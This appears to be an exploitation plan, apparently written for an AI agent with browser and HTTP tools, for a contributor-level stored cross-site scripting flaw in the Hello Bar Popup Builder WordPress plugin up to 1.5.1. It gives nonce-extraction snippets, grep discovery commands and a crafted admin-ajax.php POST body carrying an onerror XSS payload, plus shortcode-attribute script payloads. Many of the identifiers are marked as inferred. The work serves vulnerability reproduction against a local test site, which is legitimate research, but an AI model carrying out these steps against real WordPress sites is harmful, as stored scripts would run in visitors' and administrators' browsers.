Hello Bar Popup Builder <= 1.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, common patterns in "Hello Bar" style plugins, and standard WordPress security research methodologies. All specific identifiers (functions, actions, nonces) are marked as (inferred) and must be verified by the agent during the initial discovery phase.

1. Vulnerability Summary

The Hello Bar Popup Builder plugin (<= 1.5.1) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with Contributor-level access or higher can inject malicious JavaScript into popup or notification bar settings. This occurs because the plugin fails to sanitize user-provided input before saving it to the database (likely via update_post_meta or update_option) and fails to escape the output when rendering the bar on the frontend.

2. Attack Vector Analysis

• Endpoint: WordPress AJAX interface (/wp-admin/admin-ajax.php).
• Action: Likely an AJAX action related to saving popup settings, such as hellobar_save_settings or hellobar_update_bar (inferred).
• Vulnerable Parameter: Fields like bar_content, headline, message, or custom CSS inputs (inferred).
• Authentication: Contributor-level account (typically current_user_can('edit_posts')).
• Preconditions: The plugin must be active. A bar must be created or edited.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler via add_action('wp_ajax_hellobar_...', ...).
2. Input Processing: The handler function retrieves input from $_POST. It likely checks a nonce but might fail to call sanitize_text_field() or wp_kses() on the content fields.
3. Storage: The unsanitized input is stored in the database using update_post_meta($post_id, ...) (if bars are Custom Post Types) or update_option(...).
4. Frontend Sink: The plugin hooks into wp_footer or wp_head. It retrieves the stored data and echoes it directly into the page source without using esc_html(), esc_attr(), or wp_kses_post().

4. Nonce Acquisition Strategy

To exploit the AJAX endpoint as a Contributor, a valid nonce is required.

1. Identify the Editor Page: Navigate to the Hello Bar creation or settings page in the WordPress dashboard (e.g., /wp-admin/admin.php?page=hellobar-settings).
2. Locate Localization Script: Look for a wp_localize_script call in the source code that provides an AJAX nonce.
3. Extraction via Browser:
   • Log in as a Contributor.
   • Navigate to the plugin's dashboard or popup editor.
   • Use browser_eval to extract the nonce:

     // Common variable names for this plugin (inferred)
     window.hellobar_admin?.ajax_nonce || window.hellobar_params?.nonce
     

4. Alternative: Check the HTML source for a hidden input field: jQuery('input[name="hellobar_nonce"]').val().

5. Exploitation Strategy

Step 1: Identification (Discovery)

Search the plugin directory to find the exact AJAX action and nonce key.

grep -r "wp_ajax_" wp-content/plugins/hellobar/
grep -r "check_ajax_referer" wp-content/plugins/hellobar/
grep -r "wp_localize_script" wp-content/plugins/hellobar/

Step 2: Test Data Setup

1. Create a Contributor user.
2. Identify if "Bars" are a Custom Post Type (CPT).

   wp post-type list
   

3. If it's a CPT, create a draft bar to get a $POST_ID.

Step 3: Payload Injection

Use the http_request tool to send a POST request to admin-ajax.php.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body (Inferred):

  action=hellobar_save_settings&
  nonce=[EXTRACTED_NONCE]&
  post_id=[BAR_ID]&
  headline=<img src=x onerror=alert(document.domain)>&
  message=Exploit Test
  

Step 4: Triggering the XSS

1. Ensure the bar is "Active" or "Published" (if the plugin allows contributors to save active bars, which is common in popup builders).
2. Navigate to the site's frontend (homepage).
3. The payload <img src=x onerror=alert(document.domain)> should execute.

6. Expected Results

• The AJAX response should return a success status (e.g., {"success":true}).
• When visiting the frontend, the browser should trigger the alert(document.domain) popup.
• Viewing the page source should show the raw, unescaped HTML: <div class="hb-headline"><img src=x onerror=alert(document.domain)></div>.

7. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database using wp-cli:

# If stored in post meta:
wp post meta list [BAR_ID]

# If stored in options:
wp option get [OPTION_NAME]

8. Alternative Approaches

• Shortcode Attribute XSS: If the plugin uses a shortcode to display bars (e.g., [hellobar id="123"]), check if attributes like style or class are vulnerable.
  • Payload: [hellobar id="123" class='"><script>alert(1)</script>']
• REST API: Check if the plugin registers any REST routes in rest_api_init that allow Contributor-level updates without proper schema validation.
  • Search: grep -r "register_rest_route" wp-content/plugins/hellobar/
• Settings API: Check if the XSS can be injected into the main plugin settings via options.php if the Contributor has access to the settings page.